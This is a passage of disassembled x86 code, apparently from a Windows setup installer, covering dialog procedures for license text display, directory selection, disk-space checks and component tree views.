		jz	short loc_404AD7
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_404ACA
		push	eax
		call	ds:dword_407040	; DeleteObject

loc_404ACA:				; CODE XREF: sub_404A36+8Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_407044	; CreateBrushIndirect
		mov	[esi+0Ch], eax

loc_404AD7:				; CODE XREF: sub_404A36+7Ej
		mov	eax, [esi+0Ch]
		jmp	short loc_404ADE
; ---------------------------------------------------------------------------

loc_404ADC:				; CODE XREF: sub_404A36+12j
					; sub_404A36+27j
		xor	eax, eax

loc_404ADE:				; CODE XREF: sub_404A36+A4j
		pop	esi
		leave
		retn	0Ch
sub_404A36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404AE3	proc near		; DATA XREF: sub_404B17+5Eo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_42ADEC
		push	[ebp+arg_8]
		add	ecx, eax
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_4070B8	; lstrcpyn
		push	[ebp+arg_4]
		call	sub_4068CF	; lstrlen
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		add	dword_42ADEC, eax
		xor	eax, eax
		pop	ebp
		retn	10h
sub_404AE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B17	proc near		; DATA XREF: .data:off_4092A8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 110h
		push	ebx
		push	esi
		push	edi
		jnz	loc_404C3A
		mov	ebx, [ebp+arg_C]
		mov	edi, [ebx+30h]
		test	edi, edi
		jge	short loc_404B48
		mov	ecx, dword_42E7FC
		lea	eax, ds:4[edi*4]
		sub	ecx, eax
		mov	edi, [ecx]

loc_404B48:				; CODE XREF: sub_404B17+1Ej
		mov	eax, dword_42F058
		push	dword ptr [ebx+34h]
		add	edi, eax
		push	22h
		movsx	eax, byte ptr [edi]
		mov	[ebp+arg_C], eax
		mov	eax, [ebx+14h]
		push	[ebp+arg_0]
		and	[ebp+var_8], 0
		mov	esi, eax
		inc	edi
		not	esi
		shr	esi, 5
		and	esi, 1
		and	eax, 1
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], offset sub_404AE3
		or	esi, eax
		call	sub_4049CF
		push	dword ptr [ebx+38h]
		push	23h
		push	[ebp+arg_0]
		call	sub_4049CF
		xor	eax, eax
		push	1
		test	esi, esi
		setz	al
		add	eax, 40Ah
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4071BC	; CheckDlgButton
		push	esi
		call	sub_4049F1
		push	3E8h
		push	[ebp+arg_0]
		call	ds:dword_40722C	; GetDlgItem
		mov	ebx, eax
		push	ebx
		call	sub_404A04
		mov	esi, ds:dword_407248
		push	0
		push	1
		push	45Bh
		push	ebx
		call	esi	; SendMessageA
		mov	eax, dword_42F028
		mov	eax, [eax+68h]
		test	eax, eax
		jge	short loc_404BEB
		neg	eax
		push	eax
		call	ds:dword_4071AC	; GetSysColor

loc_404BEB:				; CODE XREF: sub_404B17+C9j
		push	eax
		push	0
		push	443h
		push	ebx
		call	esi	; SendMessageA
		push	4010000h
		push	0
		push	445h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42ADEC, 0
		push	edi
		call	sub_4068CF	; lstrlen
		push	eax
		push	0
		push	435h
		push	ebx
		call	esi	; SendMessageA
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_C]
		push	449h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42B600, 0
		xor	eax, eax
		jmp	loc_404DB8
; ---------------------------------------------------------------------------

loc_404C3A:				; CODE XREF: sub_404B17+10j
		cmp	[ebp+arg_4], 111h
		mov	edi, ds:dword_40722C
		mov	ebx, ds:dword_407248
		jnz	short loc_404CA9
		mov	eax, [ebp+arg_8]
		shr	eax, 10h
		test	ax, ax
		jnz	loc_404DA9
		xor	eax, eax
		cmp	dword_42B600, eax
		jnz	loc_404DA9
		mov	ecx, dword_42ADF4
		lea	esi, [ecx+14h]
		test	byte ptr [esi],	20h
		jz	loc_404DA9
		push	eax
		push	eax
		push	0F0h
		push	40Ah
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		push	eax
		call	ebx	; SendMessageA
		mov	ecx, [esi]
		and	eax, 1
		and	ecx, 0FFFFFFFEh
		push	eax
		or	ecx, eax
		mov	[esi], ecx
		call	sub_4049F1
		call	sub_404DBF

loc_404CA9:				; CODE XREF: sub_404B17+136j
		cmp	[ebp+arg_4], 4Eh
		jnz	loc_404D9A
		push	3E8h
		push	[ebp+arg_0]
		call	edi	; GetDlgItem
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+8], 70Bh
		jnz	loc_404D55
		cmp	dword ptr [ecx+0Ch], 201h
		mov	esi, ds:dword_4071B8
		mov	edi, ds:dword_4071B4
		jnz	short loc_404D40
		mov	edx, [ecx+18h]
		mov	[ebp+var_4], offset aCall_0 ; "Call"
		mov	[ebp+var_C], edx
		mov	edx, [ecx+1Ch]
		mov	[ebp+var_8], edx
		sub	edx, [ebp+var_C]
		cmp	edx, 800h
		jnb	short loc_404D40
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		push	44Bh
		push	eax
		call	ebx	; SendMessageA
		push	7F02h
		push	0
		call	edi	; LoadCursorA
		push	eax
		call	esi	; SetCursor
		push	1
		push	0
		push	0
		push	[ebp+var_4]
		push	offset aOpen	; "open"
		push	[ebp+arg_0]
		call	ds:dword_40715C
		push	7F00h
		push	0
		call	edi	; LoadCursorA
		push	eax
		call	esi	; SetCursor
		mov	ecx, [ebp+arg_C]

loc_404D40:				; CODE XREF: sub_404B17+1C9j
					; sub_404B17+1E7j
		cmp	dword ptr [ecx+0Ch], 20h
		jnz	short loc_404D55
		push	7F89h
		push	0
		call	edi	; LoadCursorA
		push	eax
		call	esi	; SetCursor
		mov	ecx, [ebp+arg_C]

loc_404D55:				; CODE XREF: sub_404B17+1B0j
					; sub_404B17+22Dj
		cmp	dword ptr [ecx+8], 700h
		jnz	short loc_404DAC
		cmp	dword ptr [ecx+0Ch], 100h
		jnz	short loc_404DAC
		cmp	dword ptr [ecx+10h], 0Dh
		jnz	short loc_404D81
		push	0
		push	1
		push	111h
		push	dword_42F024
		call	ebx	; SendMessageA
		mov	ecx, [ebp+arg_C]

loc_404D81:				; CODE XREF: sub_404B17+254j
		cmp	dword ptr [ecx+10h], 1Bh
		jnz	short loc_404D95
		push	0
		push	0
		push	10h
		push	dword_42F024
		call	ebx	; SendMessageA

loc_404D95:				; CODE XREF: sub_404B17+26Ej
		xor	eax, eax
		inc	eax
		jmp	short loc_404DB8
; ---------------------------------------------------------------------------

loc_404D9A:				; CODE XREF: sub_404B17+196j
		cmp	[ebp+arg_4], 40Bh
		jnz	short loc_404DA9
		inc	dword_42B600

loc_404DA9:				; CODE XREF: sub_404B17+141j
					; sub_404B17+14Fj ...
		mov	ecx, [ebp+arg_C]

loc_404DAC:				; CODE XREF: sub_404B17+245j
					; sub_404B17+24Ej
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404A36

loc_404DB8:				; CODE XREF: sub_404B17+11Ej
					; sub_404B17+281j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_404B17	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DBF	proc near		; CODE XREF: sub_404B17+18Dp
					; sub_404E2A+2C6p ...
		cmp	dword_42F0AC, 0
		mov	eax, dword_42ADE8
		jnz	short loc_404DD2
		mov	eax, dword_42BA14

loc_404DD2:				; CODE XREF: sub_404DBF+Cj
		push	1
		push	1
		push	0F4h
		push	eax
		call	ds:dword_407248	; SendMessageA
		retn
sub_404DBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DE3	proc near		; DATA XREF: .data:004092B8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		mov	esi, [ebp+arg_C]
		jnz	short loc_404E19
		push	dword ptr [esi+30h]
		push	1Dh
		push	[ebp+arg_0]
		call	sub_4049CF
		mov	eax, [esi+3Ch]
		shl	eax, 0Ah
		add	eax, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		push	eax
		push	3E8h
		push	[ebp+arg_0]
		call	sub_4061E0	; SetDlgItemTextA

loc_404E19:				; CODE XREF: sub_404DE3+Ej
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404A36
		pop	esi
		pop	ebp
		retn	10h
sub_404DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E2A	proc near		; DATA XREF: .data:004092B0o

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, dword_42ADF4
		push	ebx
		push	esi
		mov	[ebp+var_1C], eax
		mov	esi, [eax+3Ch]
		mov	eax, [eax+38h]
		shl	esi, 0Ah
		add	esi, offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		cmp	[ebp+arg_4], 40Bh
		push	edi
		mov	[ebp+var_4], eax
		mov	ebx, 3FBh
		jnz	short loc_404E68
		push	esi
		push	ebx
		call	sub_4061E6
		push	esi
		call	sub_406B09

loc_404E68:				; CODE XREF: sub_404E2A+2Fj
		cmp	[ebp+arg_4], 110h
		jnz	short loc_404EC0
		push	esi
		call	sub_40643C
		test	eax, eax
		jz	short loc_404E8B
		push	esi
		call	sub_406463
		test	eax, eax
		jnz	short loc_404E8B
		push	esi
		call	sub_4063CF

loc_404E8B:				; CODE XREF: sub_404E2A+4Fj
					; sub_404E2A+59j
		mov	edi, [ebp+arg_0]
		push	esi
		push	ebx
		push	edi
		call	sub_4061E0	; SetDlgItemTextA
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+34h]
		push	1
		push	edi
		call	sub_4049CF
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+30h]
		push	14h
		push	edi
		call	sub_4049CF
		push	ebx
		push	edi
		call	ds:dword_40722C	; GetDlgItem
		push	eax
		call	sub_404A04

loc_404EC0:				; CODE XREF: sub_404E2A+45j
		cmp	[ebp+arg_4], 111h
		jnz	loc_404F88
		movzx	eax, word ptr [ebp+arg_8]
		cmp	eax, ebx
		jnz	short loc_404EED
		mov	ecx, [ebp+arg_8]
		shr	ecx, 10h
		cmp	cx, 300h
		jnz	loc_4050FB
		mov	[ebp+arg_4], 40Fh

loc_404EED:				; CODE XREF: sub_404E2A+A9j
		cmp	eax, 3E9h
		jnz	loc_404F88
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_40]
		push	[ebp+var_4]
		rep stosd
		mov	eax, [ebp+arg_0]
		mov	edi, offset dword_42BA18
		push	0
		mov	[ebp+var_44], eax
		mov	[ebp+var_3C], edi
		mov	[ebp+var_30], offset sub_405110
		mov	[ebp+var_2C], esi
		call	sub_4068D5
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		mov	[ebp+var_34], 41h
		call	ds:dword_407160
		test	eax, eax
		jz	short loc_404F88
		push	eax
		call	sub_40615F
		mov	eax, dword_42F028
		mov	eax, [eax+11Ch]
		test	eax, eax
		jz	short loc_404F78
		push	eax
		push	0
		call	sub_4068D5
		push	edi
		mov	edi, offset aCall_0 ; "Call"
		push	edi
		call	ds:dword_407068	; lstrcmpi
		test	eax, eax
		jz	short loc_404F78
		push	edi
		push	esi
		call	sub_4063CF
		push	eax
		call	ds:dword_40708C	; lstrcat

loc_404F78:				; CODE XREF: sub_404E2A+125j
					; sub_404E2A+13Ej
		inc	dword_42BA08
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4061E0	; SetDlgItemTextA

loc_404F88:				; CODE XREF: sub_404E2A+9Dj
					; sub_404E2A+C8j ...
		cmp	[ebp+arg_4], 40Fh
		jz	short loc_404F9E
		cmp	[ebp+arg_4], 405h
		jnz	loc_4050FB

loc_404F9E:				; CODE XREF: sub_404E2A+165j
		and	[ebp+var_4], 0
		push	esi
		push	ebx
		or	edi, 0FFFFFFFFh
		call	sub_4061E6
		push	esi
		call	sub_4064B0
		test	eax, eax
		jnz	short loc_404FBD
		mov	[ebp+var_4], 1

loc_404FBD:				; CODE XREF: sub_404E2A+18Aj
		push	esi
		mov	esi, offset dword_42B608
		push	esi
		call	sub_4068C9	; lstrcpy
		push	esi
		call	sub_406463
		test	eax, eax
		jz	short loc_404FD6
		and	byte ptr [eax],	0

loc_404FD6:				; CODE XREF: sub_404E2A+1A7j
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	ds:dword_407134	; GetModuleHandleA
		test	eax, eax
		mov	ebx, 400h
		jz	short loc_40501F
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	eax
		call	ds:dword_40713C	; GetProcAddress
		test	eax, eax
		jz	short loc_40501F
		lea	ecx, [ebp+var_18]
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	esi
		call	eax
		test	eax, eax
		jz	short loc_40501F
		mov	edi, [ebp+var_24]
		mov	eax, [ebp+var_20]
		shrd	edi, eax, 0Ah
		shr	eax, 0Ah
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_40504E

loc_40501F:				; CODE XREF: sub_404E2A+1BEj
					; sub_404E2A+1CEj ...
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		call	ds:dword_4070CC	; GetDiskFreeSpaceA
		test	eax, eax
		jz	short loc_40504E
		mov	eax, [ebp+var_C]
		push	ebx
		imul	eax, [ebp+var_14]
		push	[ebp+var_8]
		push	eax
		call	ds:dword_40710C	; MulDiv
		mov	edi, eax

loc_40504E:				; CODE XREF: sub_404E2A+1F3j
					; sub_404E2A+20Ej
		push	5
		call	sub_4051F5
		cmp	edi, eax
		mov	[ebp+var_14], eax
		jnb	short loc_405063
		mov	[ebp+var_4], 2

loc_405063:				; CODE XREF: sub_404E2A+230j
		mov	eax, dword_42E7FC
		cmp	dword ptr [eax+10h], 0
		jz	short loc_4050B1
		push	0FFFFFFFBh
		push	esi
		call	sub_4068D5
		push	eax
		push	[ebp+var_14]
		call	sub_405176
		push	eax
		push	3FFh
		push	[ebp+arg_0]
		call	sub_4061E0	; SetDlgItemTextA
		test	edi, edi
		jl	short loc_4050A3
		push	0FFFFFFFCh
		push	esi
		call	sub_4068D5
		push	eax
		push	edi
		call	sub_405176
		push	eax
		jmp	short loc_4050A8
; ---------------------------------------------------------------------------

loc_4050A3:				; CODE XREF: sub_404E2A+265j
		push	offset dword_42CA1C

loc_4050A8:				; CODE XREF: sub_404E2A+277j
		push	ebx
		push	[ebp+arg_0]
		call	sub_4061E0	; SetDlgItemTextA

loc_4050B1:				; CODE XREF: sub_404E2A+242j
		mov	eax, [ebp+var_4]
		test	eax, eax
		mov	dword_42F0C4, eax
		jnz	short loc_4050C7
		push	7
		call	sub_4020C0
		mov	[ebp+var_4], eax

loc_4050C7:				; CODE XREF: sub_404E2A+291j
		mov	eax, [ebp+var_1C]
		test	[eax+14h], ebx
		jz	short loc_4050D3
		and	[ebp+var_4], 0

loc_4050D3:				; CODE XREF: sub_404E2A+2A3j
		xor	eax, eax
		cmp	[ebp+var_4], eax
		setz	al
		push	eax
		call	sub_4049F1
		xor	esi, esi
		cmp	[ebp+var_4], esi
		jnz	short loc_4050F5
		cmp	dword_42BA08, esi
		jnz	short loc_4050F5
		call	sub_404DBF

loc_4050F5:				; CODE XREF: sub_404E2A+2BCj
					; sub_404E2A+2C4j
		mov	dword_42BA08, esi

loc_4050FB:				; CODE XREF: sub_404E2A+B6j
					; sub_404E2A+16Ej
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404A36
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_404E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405110	proc near		; DATA XREF: sub_404E2A+EBo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	esi
		mov	esi, ds:dword_407248
		jnz	short loc_40513C
		push	[ebp+arg_C]
		push	3FBh
		call	sub_4061E6
		push	[ebp+arg_C]
		push	1
		push	466h
		push	[ebp+arg_0]
		call	esi	; SendMessageA

loc_40513C:				; CODE XREF: sub_405110+Ej
		cmp	[ebp+arg_4], 2
		jnz	short loc_40516F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	ds:dword_407164
		test	eax, eax
		jz	short loc_405160
		push	7
		call	sub_4020C0
		test	eax, eax
		jnz	short loc_405160
		inc	eax
		jmp	short loc_405162
; ---------------------------------------------------------------------------

loc_405160:				; CODE XREF: sub_405110+40j
					; sub_405110+4Bj
		xor	eax, eax

loc_405162:				; CODE XREF: sub_405110+4Ej
		push	eax
		push	0
		push	465h
		push	[ebp+arg_0]
		call	esi	; SendMessageA

loc_40516F:				; CODE XREF: sub_405110+30j
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_405110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405176	proc near		; CODE XREF: sub_404E2A+250p
					; sub_404E2A+271p ...

var_40		= byte ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	0FFFFFFDCh
		cmp	esi, 400h
		mov	al, 14h
		pop	ebx
		jge	short loc_405195
		xor	al, al
		push	0FFFFFFDEh
		jmp	short loc_4051A1
; ---------------------------------------------------------------------------

loc_405195:				; CODE XREF: sub_405176+17j
		cmp	esi, 100000h
		jge	short loc_4051A2
		mov	al, 0Ah
		push	0FFFFFFDDh

loc_4051A1:				; CODE XREF: sub_405176+1Dj
		pop	ebx

loc_4051A2:				; CODE XREF: sub_405176+25j
		movsx	edi, al
		lea	eax, [ebp+var_20]
		push	0FFFFFFDFh
		push	eax
		call	sub_4068D5
		push	eax
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_4068D5
		push	eax
		lea	eax, [esi+esi*4]
		add	eax, eax
		mov	ecx, edi
		sar	eax, cl
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		mov	ecx, edi
		sar	esi, cl
		push	edx
		push	esi
		push	offset aD_DSS	; "%d.%d%s%s"
		push	[ebp+arg_4]
		call	sub_4068CF	; lstrlen
		add	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_40721C	; wsprintfA
		mov	eax, [ebp+arg_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_405176	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051F5	proc near		; CODE XREF: sub_404E2A+226p
					; sub_40526B+77Bp ...

arg_0		= dword	ptr  4

		mov	edx, dword_42F04C
		mov	ecx, dword_42F048
		xor	eax, eax
		test	edx, edx
		jz	short locret_40521C
		push	esi

loc_405208:				; CODE XREF: sub_4051F5+24j
		test	byte ptr [ecx+8], 1
		jz	short loc_405215
		mov	esi, [esp+4+arg_0]
		add	eax, [ecx+esi*4]

loc_405215:				; CODE XREF: sub_4051F5+17j
		add	ecx, 18h
		dec	edx
		jnz	short loc_405208
		pop	esi

locret_40521C:				; CODE XREF: sub_4051F5+10j
		retn	4
sub_4051F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40521F	proc near		; CODE XREF: sub_40526B+3FCp
					; sub_405BC5+59p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	ds:dword_4071C0	; GetMessagePos
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], ecx
		push	[ebp+arg_0]
		call	ds:dword_407198	; ScreenToClient
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	1111h
		push	[ebp+arg_0]
		call	ds:dword_407248	; SendMessageA
		mov	al, [ebp+var_8]
		and	al, 66h
		neg	al
		sbb	eax, eax
		and	eax, [ebp+var_4]
		leave
		retn	4
sub_40521F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40526B	proc near		; DATA XREF: .data:004092ACo

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ds:dword_40722C
		push	edi
		mov	edi, [ebp+arg_0]
		push	3F9h
		push	edi
		call	esi	; GetDlgItem
		push	408h
		push	edi
		mov	[ebp+var_8], eax
		call	esi	; GetDlgItem
		mov	ebx, dword_42F048
		mov	esi, ds:dword_407248
		mov	[ebp+var_4], eax
		mov	eax, dword_42F028
		add	eax, 94h
		cmp	[ebp+arg_4], 110h
		mov	[ebp+var_10], ebx
		mov	[ebp+var_18], eax
		jnz	loc_405543
		mov	eax, dword_42F04C
		xor	ebx, ebx
		shl	eax, 2
		push	eax
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_14], 2
		mov	dword_42F080, edi
		call	sub_406244
		push	6Eh
		mov	dword_42BA10, eax
		push	dword_42F020
		call	ds:dword_4071C4	; LoadBitmapA
		mov	edi, [ebp+var_4]
		push	offset sub_405BC5
		push	0FFFFFFFCh
		push	edi
		mov	[ebp+arg_4], eax
		call	ds:dword_407230	; SetWindowLongA
		push	ebx
		push	6
		push	21h
		push	10h
		push	10h
		mov	dword_42BA0C, eax
		call	ds:dword_407034
		push	0FF00FFh
		mov	dword_42B5FC, eax
		push	[ebp+arg_4]
		push	eax
		call	ds:dword_40702C
		push	dword_42B5FC
		push	2
		push	1109h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	ebx
		push	111Ch
		push	edi
		call	esi	; SendMessageA
		cmp	eax, 10h
		jge	short loc_405355
		push	ebx
		push	10h
		push	111Bh
		push	edi
		call	esi	; SendMessageA

loc_405355:				; CODE XREF: sub_40526B+DDj
		push	[ebp+arg_4]
		call	ds:dword_407040	; DeleteObject
		xor	edi, edi

loc_405360:				; CODE XREF: sub_40526B+143j
		mov	eax, [ebp+var_18]
		mov	eax, [eax+edi*4]
		cmp	eax, ebx
		jz	short loc_4053AA
		cmp	edi, 20h
		jz	short loc_405372
		mov	[ebp+var_14], ebx

loc_405372:				; CODE XREF: sub_40526B+102j
		push	eax
		push	ebx
		call	sub_4068D5
		push	eax
		push	ebx
		push	143h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		push	edi
		push	eax
		push	151h
		mov	[ebp+arg_4], eax
		push	[ebp+var_8]
		call	esi	; SendMessageA
		cmp	edi, dword_42F0B8
		jnz	short loc_4053AA
		push	ebx
		push	[ebp+arg_4]
		push	14Eh
		push	[ebp+var_8]
		call	esi	; SendMessageA

loc_4053AA:				; CODE XREF: sub_40526B+FDj
					; sub_40526B+12Fj
		inc	edi
		cmp	edi, 21h
		jl	short loc_405360
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+var_14]
		push	dword ptr [edi+ebx*4+30h]
		push	15h
		push	[ebp+arg_0]
		call	sub_4049CF
		push	dword ptr [edi+ebx*4+34h]
		push	16h
		push	[ebp+arg_0]
		call	sub_4049CF
		xor	edi, edi
		xor	ebx, ebx
		cmp	dword_42F04C, edi
		jle	loc_4054E7
		mov	eax, [ebp+var_10]
		and	[ebp+var_C], edi
		add	eax, 8
		mov	[ebp+arg_4], eax

loc_4053EE:				; CODE XREF: sub_40526B+270j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax-8]
		test	eax, eax
		jz	loc_4054D0
		push	eax
		push	0
		mov	[ebp+var_50], ebx
		mov	[ebp+var_4C], 0FFFF0002h
		mov	[ebp+var_48], 0Dh
		mov	[ebp+var_24], edi
		call	sub_4068D5
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3C], 0F030h
		mov	eax, [eax]
		mov	ecx, eax
		and	ecx, 1
		inc	ecx
		test	al, 10h
		jz	short loc_405434
		add	ecx, 3

loc_405434:				; CODE XREF: sub_40526B+1C4j
		mov	edx, eax
		and	edx, 8
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, edx
		test	al, 2
		mov	[ebp+var_40], edx
		jz	short loc_405484
		and	eax, 20h
		or	[ebp+var_48], 40h
		or	edx, eax
		lea	eax, [ebp+var_50]
		push	eax
		push	0
		push	1100h
		mov	[ebp+var_28], 1
		push	[ebp+var_4]
		mov	[ebp+var_40], edx
		call	esi	; SendMessageA
		mov	ecx, dword_42BA10
		mov	[ebp+var_1C], 1
		mov	[ecx+edi*4], eax
		mov	eax, dword_42BA10
		mov	ebx, [eax+edi*4]
		jmp	short loc_4054D0
; ---------------------------------------------------------------------------

loc_405484:				; CODE XREF: sub_40526B+1DAj
		test	al, 4
		jz	short loc_4054AC
		mov	eax, dword_42BA10
		mov	ecx, [ebp+var_C]
		push	dword ptr [ecx+eax]
		push	[ebp+var_4]
		call	sub_405AEF
		push	ebx
		push	3
		push	110Ah
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ebx, eax
		jmp	short loc_4054D0
; ---------------------------------------------------------------------------

loc_4054AC:				; CODE XREF: sub_40526B+21Bj
		mov	eax, edi
		shl	eax, 2
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_50]
		push	eax
		push	0
		push	1100h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ecx, dword_42BA10
		mov	edx, [ebp+var_C]
		mov	[edx+ecx], eax

loc_4054D0:				; CODE XREF: sub_40526B+18Bj
					; sub_40526B+217j ...
		add	[ebp+arg_4], 18h
		inc	edi
		cmp	edi, dword_42F04C
		jl	loc_4053EE
		cmp	[ebp+var_1C], 0
		jnz	short loc_405500

loc_4054E7:				; CODE XREF: sub_40526B+171j
		push	0FFFFFFF0h
		push	[ebp+var_4]
		call	ds:dword_4071B0	; GetWindowLongA
		and	al, 0FBh
		push	eax
		push	0FFFFFFF0h
		push	[ebp+var_4]
		call	ds:dword_407230	; SetWindowLongA

loc_405500:				; CODE XREF: sub_40526B+27Aj
		push	0
		push	6
		push	115h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		cmp	[ebp+var_14], 0
		jnz	short loc_405524
		push	5
		push	[ebp+var_8]
		call	ds:dword_407218	; ShowWindow
		push	[ebp+var_8]
		jmp	short loc_405527
; ---------------------------------------------------------------------------

loc_405524:				; CODE XREF: sub_40526B+2A7j
		push	[ebp+var_4]

loc_405527:				; CODE XREF: sub_40526B+2B7j
		call	sub_404A04
		mov	eax, dword_42F0BC
		mov	ebx, [ebp+var_10]
		neg	eax
		sbb	eax, eax
		and	eax, 23h
		add	eax, 40Fh
		mov	[ebp+arg_4], eax

loc_405543:				; CODE XREF: sub_40526B+4Bj
		cmp	[ebp+arg_4], 417h
		mov	edi, 110Dh
		jnz	short loc_40558A
		mov	eax, dword_42BA10
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+ecx*4]
		test	eax, eax
		mov	[ebp+var_40], eax
		jz	loc_4059FF
		push	[ebp+arg_C]
		mov	[ebp+var_44], 1
		push	0
		call	sub_4068D5
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	edi
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ebx, [ebp+var_10]

loc_40558A:				; CODE XREF: sub_40526B+2E4j
		cmp	[ebp+arg_4], 418h
		jnz	loc_40561C
